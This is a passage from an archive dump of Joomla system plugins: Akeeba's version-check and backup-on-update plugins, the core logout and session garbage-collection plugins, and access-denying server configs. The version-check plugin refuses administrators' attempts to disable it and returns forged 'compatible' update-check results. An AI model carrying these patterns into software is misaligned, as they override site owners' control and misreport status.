		'plg_system_socialmagick',
		'plg_system_expose',
		'plg_system_ampcontent',
		'plg_system_combinator',
		'plg_system_bootify',
	];

	/**
	 * @var   AdministratorApplication
	 * @since 1.0.0
	 */
	protected $app;

	/**
	 * @var   JDatabaseDriver
	 * @since 1.0.0
	 */
	protected $dbo;

	/**
	 * Map extension names to extension IDs
	 *
	 * @var   array
	 * @since 1.0.0
	 */
	private $extensionIds = [];

	/**
	 * The IDs of self::ALLOWED_EXTENSIONS installed on the site.
	 *
	 * @var   int[]
	 * @since 1.0.0
	 */
	private $allowedExtensionIds = [];

	public function onAfterInitialise()
	{
		// This only applies on Joomla 3.10
		if (
			version_compare(JVERSION, '3.10.0', 'lt')
			|| version_compare(JVERSION, '3.10.999999', 'gt')
		)
		{
			return;
		}

		// Make sure this is the back-end
		try
		{
			$app = Factory::getApplication();
		}
		catch (Exception $e)
		{
			return;
		}

		if (!$app->isClient('administrator'))
		{
			return;
		}

		// Make sure a user is logged in
		$user = JFactory::getUser();

		if (!is_object($user) || $user->guest)
		{
			return;
		}

		// Make sure the user is a Super User or otherwise allowed to upgrade the site
		if (!$user->authorise('core.admin', 'com_joomlaupdate'))
		{
			return;
		}

		$component = $this->app->input->getCmd('option');
		$task      = $this->app->input->getCmd('task');

		if ($component == 'com_plugins')
		{
			$this->onDirectUnpublish($task);

			$this->onApplyOrSave($task);

			return;
		}

		if ($component !== 'com_joomlaupdate')
		{
			return;
		}

		if ($task === null)
		{
			$this->conditionallyShowMessage();
		}
		elseif ($task === 'update.fetchextensioncompatibility')
		{
			$this->populateAllowedExtensionIDs();

			$this->manipulateJoomlaUpdate();
		}
	}

	public function onBeforeRender()
	{
		// This only applies on Joomla 3.10
		if (
			version_compare(JVERSION, '3.10.0', 'lt')
			|| version_compare(JVERSION, '3.10.999999', 'gt')
		)
		{
			return;
		}

		// Make sure this is the back-end
		try
		{
			$app = Factory::getApplication();
		}
		catch (Exception $e)
		{
			return;
		}

		if (!$app->isClient('administrator'))
		{
			return;
		}

		// Make sure a user is logged in
		$user = JFactory::getUser();

		if (!is_object($user) || $user->guest)
		{
			return;
		}

		// Make sure the user is a Super User or otherwise allowed to upgrade the site
		if (!$user->authorise('core.admin', 'com_joomlaupdate'))
		{
			return;
		}

		$component = $this->app->input->getCmd('option');

		if ($component !== 'com_joomlaupdate')
		{
			return;
		}

		$doc = $this->app->getDocument();

		if (empty($doc))
		{
			return;
		}

		$nonCoreCriticalPlugins = $doc->getScriptOptions('nonCoreCriticalPlugins');

		if (empty($nonCoreCriticalPlugins))
		{
			return;
		}

		$this->populateAllowedExtensionIDs();

		$nonCoreCriticalPlugins = array_filter(
			$nonCoreCriticalPlugins,
			function (object $entry)
			{
				return !in_array($entry->extension_id, $this->allowedExtensionIds);
			}
		);

		$doc->addScriptOptions('nonCoreCriticalPlugins', $nonCoreCriticalPlugins, false);
	}

	private function onDirectUnpublish($task)
	{
		$allowedTasks = ['unpublish', 'plugins.unpublish'];

		if (!in_array($task, $allowedTasks))
		{
			return;
		}

		// Get a list of all IDs in the request
		$ids   = $this->app->input->get('cid', [], 'array');
		$ids[] = $this->app->input->getInt('id', null);

		// Get the plugin ID for System - Admin Tools
		$ourId = $this->getExtensionId('plg_system_akversioncheck');

		if (empty($ourId))
		{
			return;
		}

		// Does the ID exist in the array? We need to be thorough, we can't do a simple in_array.
		foreach ($ids as $id)
		{
			$id = (int) trim($id);

			if ($id == $ourId)
			{
				throw new RuntimeException(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
			}
		}
	}

	private function onApplyOrSave($task)
	{
		$allowedTasks = ['apply', 'save', 'plugins.apply', 'plugins.save', 'plugin.apply', 'plugin.save'];

		if (!in_array($task, $allowedTasks))
		{
			return;
		}

		// Get a list of all IDs in the request
		$ids   = $this->app->input->get('cid', [], 'array');
		$ids[] = $this->app->input->getInt('id', null);
		$ids[] = $this->app->input->getInt('extension_id', null);

		// Get the plugin ID for System - Admin Tools
		$ourId = $this->getExtensionId('plg_system_akversioncheck');

		if (empty($ourId))
		{
			return;
		}

		// Does the ID exist in the array? We need to be thorough, we can't do a simple in_array.
		$found = false;

		foreach ($ids as $id)
		{
			$id = (int) trim($id);

			if ($id == $ourId)
			{
				$found = true;

				break;
			}
		}

		if (!$found)
		{
			return;
		}

		// Get the form data and look for the enabled field
		$jform = $this->app->input->get('jform', [], 'array');

		if (!isset($jform['enabled']))
		{
			// Not saving the "enabled" value
			return;
		}

		if ($jform['enabled'] == 1)
		{
			// The plugin is being activated
			return;
		}

		// Apparently someone tries to deactivate the plugin. NOPE.
		throw new RuntimeException(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
	}


	private function manipulateJoomlaUpdate()
	{
		$id      = (int) $_GET['extension-id'];
		$version = $this->app->input->get('extension-version');

		// Must be one of our allowed extensions
		if (empty($id) || !in_array($id, $this->allowedExtensionIds))
		{
			return;
		}

		// Check for updates to the extension itself
		if (!class_exists(JoomlaupdateModelDefault::class))
		{
			require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/models/default.php';
		}

		/** @var JoomlaupdateModelDefault $model */
		$model = Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Default', 'JoomlaupdateModel');

		$currentCompatibilityStatus = $model->fetchCompatibility($id, JVERSION);
		$currentUpdateVersion       = false;
		$resultGroup                = 3;

		if ($currentCompatibilityStatus->state == 1 && !empty($currentCompatibilityStatus->compatibleVersions))
		{
			$resultGroup          = 2;
			$currentUpdateVersion = end($currentCompatibilityStatus->compatibleVersions);
		}

		// Construct the response
		$response = [
			'upgradeCompatibilityStatus' => [
				'state'             => 1,
				'compatibleVersion' => $currentUpdateVersion ?: $version,
			],
			'currentCompatibilityStatus' => [
				'state'             => 1,
				'compatibleVersion' => $currentUpdateVersion ?: $version,
			],
			'resultGroup'                => $resultGroup,
			'upgradeWarning'             => 0,
		];

		// Send the response
		$this->app->mimeType = 'application/json';
		$this->app->charSet  = 'utf-8';
		$this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet);
		$this->app->sendHeaders();

		try
		{
			echo new JsonResponse($response);
		}
		catch (Exception $e)
		{
			echo $e;
		}

		$this->app->close();
	}

	private function populateAllowedExtensionIDs()
	{
		$this->allowedExtensionIds = array_filter(
			array_map(
				function (string $extension): ?int {
					return $this->getExtensionId($extension);
				},
				self::ALLOWED_EXTENSIONS
			)
		);
	}

	private function conditionallyShowMessage()
	{
		if (!class_exists(JoomlaupdateModelDefault::class))
		{
			require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/models/default.php';
		}
		// We must have an update
		/** @var JoomlaupdateModelDefault $model */
		$model      = Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Default', 'JoomlaupdateModel');
		$updateInfo = $model->getUpdateInformation();

		if (!$updateInfo['hasUpdate'])
		{
			return;
		}

		// The new version must be in the 4.x range
		if (version_compare($updateInfo['latest'], '4.0.0', 'lt'))
		{
			return;
		}

		// We must have obsolete extensions
		$hasAkeebaSubscriptions = $this->hasAkeebaSubscriptions();
		$hasObsoleteExtensions  = $this->hasObsoleteExtensions();

		if ($hasObsoleteExtensions || $hasAkeebaSubscriptions)
		{
			$this->loadLanguage();

			$message =
				'<h3>' .
				Text::_('PLG_SYSTEM_AKVERSIONCHECK_LBL_TITLE') .
				'</h3>' .
				'<p>' .
				Text::_('PLG_SYSTEM_AKVERSIONCHECK_LBL_CONTENT')
				. '</p>';

			if ($hasObsoleteExtensions)
			{
				$message .= '<p>' . Text::sprintf(
						$hasAkeebaSubscriptions ? 'PLG_SYSTEM_AKVERSIONCHECK_LBL_MAGICERASER_WITH_SUBS' : 'PLG_SYSTEM_AKVERSIONCHECK_LBL_MAGICERASER',
						'https://github.com/akeeba/magiceraser/releases/latest'
					);
			}

			if ($hasAkeebaSubscriptions)
			{
				$message .= '<p>' .
					Text::_('PLG_SYSTEM_AKVERSIONCHECK_LBL_AKEEBASUBSCRIPTIONS') .
					'</p>';
			}

			$message .= '<hr/>';

			$this->app->enqueueMessage($message, 'error');
		}
	}

	private function hasObsoleteExtensions(): bool
	{
		return array_reduce(
			self::OBSOLETE_EXTENSIONS,
			function (bool $carry, string $extension): bool {
				return $carry || !empty($this->getExtensionId($extension));
			},
			false
		);
	}

	private function hasAkeebaSubscriptions()
	{
		return !empty($this->getExtensionId('pkg_akeebasubs'))
			|| !empty($this->getExtensionId('com_akeebasubs'));
	}

	private function getExtensionId(string $extension): ?int
	{
		if (isset($this->extensionIds[$extension]))
		{
			return $this->extensionIds[$extension];
		}

		$this->extensionIds[$extension] = null;

		$criteria = $this->extensionNameToCriteria($extension);

		if (empty($criteria))
		{
			return $this->extensionIds[$extension];
		}

		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'));

		foreach ($criteria as $key => $value)
		{
			$query->where($db->qn($key) . ' = ' . $db->quote($value));
		}

		try
		{
			$this->extensionIds[$extension] = (int) $db->setQuery($query)->loadResult();
		}
		catch (RuntimeException $e)
		{
			return null;
		}

		return $this->extensionIds[$extension];
	}

	private function extensionNameToCriteria(string $extensionName): array
	{
		$parts = explode('_', $extensionName, 3);

		switch ($parts[0])
		{
			case 'pkg':
				return [
					'type'    => 'package',
					'element' => $extensionName,
				];

			case 'com':
				return [
					'type'    => 'component',
					'element' => $extensionName,
				];

			case 'plg':
				return [
					'type'    => 'plugin',
					'folder'  => $parts[1],
					'element' => $parts[2],
				];

			case 'mod':
				return [
					'type'      => 'module',
					'element'   => $extensionName,
					'client_id' => 0,
				];

			// That's how we note admin modules
			case 'amod':
				return [
					'type'      => 'module',
					'element'   => substr($extensionName, 1),
					'client_id' => 1,
				];

			case 'file':
			case 'files':
				return [
					'type'    => 'file',
					'element' => $extensionName,
				];

			case 'lib':
				$element = substr($extensionName, 4);

				if (substr($element, -7) === '#prefix')
				{
					$element = 'lib_' . substr($element, 0, -7);
				}

				return [
					'type'    => 'library',
					'element' => $element,
				];

			case 'tpl':
				return [
					'type'    => 'template',
					'element' => substr($extensionName, 4),
				];
		}

		return [];
	}
}
PK�(]��Kf�� system/akversioncheck/script.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgSystemAkversioncheckInstallerScript extends Plugin
{
}
PK�(]��C�system/logout/logout.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_logout</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LOGOUT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logout">logout.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_logout.ini</language>
		<language tag="en-GB">en-GB.plg_system_logout.sys.ini</language>
	</languages>
</extension>
PK�(][�G%�
�
system/logout/logout.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logout
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin class for logout redirect handling.
 *
 * @since  1.6
 */
class PlgSystemLogout extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.3
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe -- event dispatcher.
	 * @param   object  $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// If we are on admin don't process.
		if (!$this->app->isClient('site'))
		{
			return;
		}

		$hash  = JApplicationHelper::getHash('PlgSystemLogout');

		if ($this->app->input->cookie->getString($hash))
		{
			// Destroy the cookie.
			$this->app->input->cookie->set($hash, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

			// Set the error handler for E_ALL to be the class handleError method.
			JError::setErrorHandling(E_ALL, 'callback', array('PlgSystemLogout', 'handleError'));
		}
	}

	/**
	 * Method to handle any logout logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (client, ...).
	 *
	 * @return  boolean  Always returns true.
	 *
	 * @since   1.6
	 */
	public function onUserLogout($user, $options = array())
	{
		if ($this->app->isClient('site'))
		{
			// Create the cookie.
			$this->app->input->cookie->set(
				JApplicationHelper::getHash('PlgSystemLogout'),
				true,
				time() + 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}

		return true;
	}

	/**
	 * Method to handle an error condition.
	 *
	 * @param   Exception  &$error  The Exception object to be handled.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function handleError(&$error)
	{
		// Get the application object.
		$app = JFactory::getApplication();

		// Make sure the error is a 403 and we are in the frontend.
		if ($error->getCode() == 403 && $app->isClient('site'))
		{
			// Redirect to the home page.
			$app->enqueueMessage(JText::_('PLG_SYSTEM_LOGOUT_REDIRECT'));
			$app->redirect('index.php');
		}
		else
		{
			// Render the custom error page.
			JError::customErrorPage($error);
		}
	}
}
PK�(]ҽ�F��system/sessiongc/sessiongc.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sessiongc
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Session\MetadataManager;

/**
 * Garbage collection handler for session related data
 *
 * @since  3.8.6
 */
class PlgSystemSessionGc extends CMSPlugin
{
	/**
	 * Application object
	 *
	 * @var    CMSApplication
	 * @since  3.8.6
	 */
	protected $app;

	/**
	 * Database driver
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.6
	 */
	protected $db;

	/**
	 * Runs after the HTTP response has been sent to the client and performs garbage collection tasks
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function onAfterRespond()
	{
		$session = Factory::getSession();

		if ($this->params->get('enable_session_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				$session->gc();
			}
		}

		if ($this->app->get('session_handler', 'none') !== 'database' && $this->params->get('enable_session_metadata_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				$metadataManager = new MetadataManager($this->app, $this->db);
				$metadataManager->deletePriorTo(time() - $session->getExpire());
			}
		}
	}
}
PK�(]sPw��system/sessiongc/sessiongc.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="system" method="upgrade">
	<name>plg_system_sessiongc</name>
	<author>Joomla! Project</author>
	<creationDate>February 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.8.6</version>
	<description>PLG_SYSTEM_SESSIONGC_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sessiongc">sessiongc.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="enable_session_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="uint"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="enable_session_metadata_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="uint"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="gc_probability"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="1"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>

				<field
					name="gc_divisor"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="100"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]|��N system/backuponupdate/web.confignu�[���<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK�(]��"�(�((system/backuponupdate/backuponupdate.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use FOF40\Container\Container;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;

// Old PHP version detected. EJECT! EJECT! EJECT!
if (!version_compare(PHP_VERSION, '7.2.0', '>='))
{
	return;
}

// Make sure Akeeba Backup is installed
if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
{
	return;
}

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	return;
}

/*
 * Hopefully, if we are still here, the site is running on at least PHP5. This means that
 * including the Akeeba Backup factory class will not throw a White Screen of Death, locking
 * the administrator out of the back-end.
 */

// Make sure Akeeba Backup is installed, or quit
$akeeba_installed = @file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine/Factory.php');

if (!$akeeba_installed)
{
	return;
}

// Make sure Akeeba Backup is enabled
if (!ComponentHelper::isEnabled('com_akeeba'))
{
	return;
}

class plgSystemBackuponupdate extends CMSPlugin
{
	/** @var \Joomla\CMS\Application\AdministratorApplication */
	public $app;

	private $isEnabled;

	/**
	 * Constructor
	 *
	 * @param   object  $subject  The object to observe
	 * @param   array   $config   An array that holds the plugin configuration
	 *
	 * @since   3.8.0
	 */
	public function __construct(&$subject, $config)
	{
		/**
		 * I know that this piece of code cannot possibly be executed since I have already returned BEFORE declaring
		 * the class when eAccelerator is detected. However, eAccelerator is a GINORMOUS, STINKY PILE OF BULL CRAP. The
		 * stupid thing will return above BUT it will also declare the class EVEN THOUGH according to how PHP works
		 * this part of the code should be unreachable o_O Therefore I have to define this constant and exit the
		 * constructor when we have already determined that this class MUST NOT be defined. Because screw you
		 * eAccelerator, that's why.
		 */
		if (defined('AKEEBA_EACCELERATOR_IS_SO_BORKED_IT_DOES_NOT_EVEN_RETURN'))
		{
			return;
		}

		parent::__construct($subject, $config);
	}

	/**
	 * Runs on application initialization. Implements the functionality of this plugin.
	 *
	 * @return  void
	 * @since   3.8.0
	 */
	public function onAfterInitialise()
	{
		// Make sure this is the back-end
		try
		{
			$app = Factory::getApplication();
		}
		catch (Exception $e)
		{
			return;
		}

		if (!$app->isClient('administrator'))
		{
			return;
		}

		// Make sure we are enabled
		if (!$this->isEnabled())
		{
			return;
		}

		// Make sure a user is logged in
		$user = JFactory::getUser();

		if (!is_object($user) || $user->guest)
		{
			return;
		}

		// Make sure the user is a Super User
		if (!$user->authorise('core.admin'))
		{
			return;
		}

		// Handle the flag toggle through AJAX
		$ji          = Factory::getApplication()->input;
		$toggleParam = $ji->getCmd('_akeeba_backup_on_update_toggle');

		if ($toggleParam && ($toggleParam == Factory::getSession()->getToken()))
		{
			$this->toggleBoUFlag();

			$uri = Uri::getInstance();
			$uri->delVar('_akeeba_backup_on_update_toggle');

			$this->app->redirect($uri->toString());

			return;
		}

		// Get the input variables
		$component = $ji->getCmd('option', '');
		$task      = $ji->getCmd('task', '');
		$backedup  = ((int) $ji->getInt('is_backed_up', 0)) === 1;

		// Conditionally display the Backup on Update message
		$this->conditionallyEnqueueMessage($component, $task);

		// Make sure we are active
		if ($this->getBoUFlag() != 1)
		{
			return;
		}

		// Perform a redirection on Joomla! Update download or install task, unless we have already backed up the site
		$redirectCondition = ($component == 'com_joomlaupdate') && ($task == 'update.install') && !$backedup;

		if ($redirectCondition)
		{
			// Get the backup profile ID
			$profileId = (int) $this->params->get('profileid', 1);

			if ($profileId <= 0)
			{
				$profileId = 1;
			}

			// Get the description override
			$this->loadLanguage();
			$description = $this->preprocessDescription($this->params->get(
				'description',
				Text::_('PLG_SYSTEM_BACKUPONUPDATE_DEFAULT_DESCRIPTION')
			));

			$jtoken = Factory::getSession()->getFormToken();

			// Get the return URL
			$returnUri = new Uri(Uri::base() . 'index.php');
			$params    = [
				'option'       => 'com_joomlaupdate',
				'task'         => 'update.install',
				'is_backed_up' => 1,
				$jtoken        => 1,
			];
			array_walk($params, function ($value, $key) use (&$returnUri) {
				$returnUri->setVar($key, $value);
			});

			// Get the redirect URL
			$redirectUri = new Uri(Uri::base() . 'index.php');
			$params      = [
				'option'      => 'com_akeeba',
				'view'        => 'Backup',
				'autostart'   => 1,
				'returnurl'   => base64_encode($returnUri->toString()),
				'description' => urlencode($description),
				'profileid'   => $profileId,
				$jtoken       => 1,
			];
			array_walk($params, function ($value, $key) use (&$redirectUri) {
				$redirectUri->setVar($key, $value);
			});

			// Perform the redirection
			$app->redirect($redirectUri->toString());
		}
	}

	/**
	 * Load a plugin layout file. These files can be overridden with standard Joomla! template overrides.
	 *
	 * @param   string  $layout  The layout file to load
	 * @param   array   $params  An array passed verbatim to the layout file as the `$params` variable
	 *
	 * @return  string  The rendered contents of the file
	 *
	 * @since   5.4.1
	 */
	private function loadTemplate($layout, array $params = []): string
	{
		$file = PluginHelper::getLayoutPath('system', 'backuponupdate', $layout);

		ob_start();

		require_once $file;

		$ret = ob_get_clean();

		return $ret;
	}

	/**
	 * Get the Backup on Update flag
	 *
	 * @return  int
	 * @since   5.5.0
	 */
	private function getBoUFlag(): int
	{
		$container = Container::getInstance('com_akeeba', ['tempInstance' => 1]);

		return (int) $container->platform->getSessionVar('active', 1, 'plg_system_backuponupdate');
	}

	/**
	 * Toggle the Backup on Update flag
	 *
	 * @return  void
	 * @since   5.5.0
	 */
	private function toggleBoUFlag(): void
	{
		$container = Container::getInstance('com_akeeba', ['tempInstance' => 1]);
		$status    = 1 - $this->getBoUFlag();

		$container->platform->setSessionVar('active', $status, 'plg_system_backuponupdate');
	}

	/**
	 * Should this plugin be enabled at all?
	 *
	 * @return  bool
	 * @since   7.0.0
	 */
	private function isEnabled(): bool
	{
		if (!is_null($this->isEnabled))
		{
			return $this->isEnabled;
		}

		$this->isEnabled = false;

		if (!version_compare(PHP_VERSION, '7.2.0', '>='))
		{
			return false;
		}

		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return false;
		}

		// Is Akeeba Backup enabled?
		try
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->qn('enabled'))
				->from($db->qn('#__extensions'))
				->where($db->qn('element') . ' = ' . $db->q('com_akeeba'))
				->where($db->qn('type') . ' = ' . $db->q('component'));
			$db->setQuery($query);
			$enabled         = $db->loadResult();
			$this->isEnabled = is_null($enabled) ? false : ((bool) $enabled);
		}
		catch (Exception $e)
		{
			$this->isEnabled = false;
		}

		return $this->isEnabled;
	}

	/**
	 * Returns the version number of the latest Joomla release.
	 *
	 * It will return the string "(???)" if no Joomla update is being listed
	 *
	 * @return  string
	 * @since   7.0.0
	 */
	private function getLatestJoomlaVersion(): string
	{
		$latestVersion = '(???)';

		// Get the extension ID for Joomla! itself (the files_joomla pseudo-extension)
		try
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->qn('extension_id'))
				->from($db->qn('#__extensions'))
				->where($db->qn('name') . ' = ' . $db->q('files_joomla'));

			$jEid = $db->setQuery($query)->loadResult();
		}
		catch (Exception $e)
		{
			$jEid = 700;
		}

		if (is_null($jEid) || ($jEid <= 0))
		{
			$jEid = 700;
		}

		// Fetch the Joomla update information from the database.
		try
		{
			$db           = Factory::getDbo();
			$query        = $db->getQuery(true)
				->select('*')
				->from($db->quoteName('#__updates'))
				->where($db->quoteName('extension_id') . ' = ' . $db->quote($jEid));
			$updateObject = $db->setQuery($query)->loadObject();
		}
		catch (Exception $e)
		{
			return $latestVersion;
		}

		if (is_null($updateObject))
		{
			return $latestVersion;
		}

		return $updateObject->version ?? $latestVersion;
	}

	/**
	 * Pre
	 *
	 * @param $description
	 *
	 * @return string|string[]
	 */
	private function preprocessDescription(string $description): string
	{
		$replacements = [
			'[VERSION_FROM]' => JVERSION,
			'[VERSION_TO]'   => $this->getLatestJoomlaVersion(),
		];

		return str_replace(array_keys($replacements), array_values($replacements), $description);
	}

	private function conditionallyEnqueueMessage(string $component, string $task): void
	{
		// Only show the message in Joomla! Update's main view
		if (($component !== 'com_joomlaupdate') || (!empty($task) && (strpos($task, 'update.') === 0)))
		{
			return;
		}

		$this->loadLanguage('plg_system_backuponupdate');

		$willBackup  = $this->getBoUFlag() === 1;
		$infoType    = version_compare(JVERSION, '3.999.999', 'gt') ? 'success' : 'info';
		$messageType = $willBackup ? $infoType : 'warning';

		$uri = Uri::getInstance();
		$uri->setVar('_akeeba_backup_on_update_toggle', $this->app->getSession()->getToken());

		$message =
			'<h3>' .
			Text::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_TITLE') .
			'</h3>' .
			'<p>' .
			Text::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_CONTENT_' . ($willBackup ? 'ACTIVE' : 'INACTIVE')) .
			'</p>' .
			sprintf(
				'<p><a href="%s" class="btn btn-%s">%s</a></p>',
				$uri->toString(),
				$willBackup ? 'danger' : 'primary',
				Text::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_TOGGLE_' . ($willBackup ? 'DEACTIVATE' : 'ACTIVATE'))) .
			'<p class="text-muted"><em>' .
			Text::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_CONTENT_TIP') .
			'</em></p>';

		$this->app->enqueueMessage($message, $messageType);
	}
}
PK�(]ggm��(system/backuponupdate/backuponupdate.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="2.5.0" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_BACKUPONUPDATE</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2023-05-26</creationDate>
	<version>8.3.1</version>
	<description>PLG_SYSTEM_BACKUPONUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="backuponupdate">backuponupdate.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_backuponupdate.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_backuponupdate.sys.ini</language>
	</languages>
    <config addfieldpath="/administrator/components/com_akeeba/fields">
        <fields name="params">
            <fieldset name="basic">
                <field name="profileid" type="backupprofiles" default="1"
                       label="PLG_SYSTEM_BACKUPONUPDATE_PROFILE_LABEL"
                       description="PLG_SYSTEM_BACKUPONUPDATE_PROFILE_DESC"
                />

				<field name="description" type="text" default="" size="30"
					   label="COM_AKEEBA_CONFIG_DESCRIPTION_LABEL"
					   description="COM_AKEEBA_CONFIG_DESCRIPTION_DESC"/>

			</fieldset>
        </fields>
    </config>

	<scriptfile>script.php</scriptfile>
</extension>
PK�(]��ѡ��system/backuponupdate/.htaccessnu�[���<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
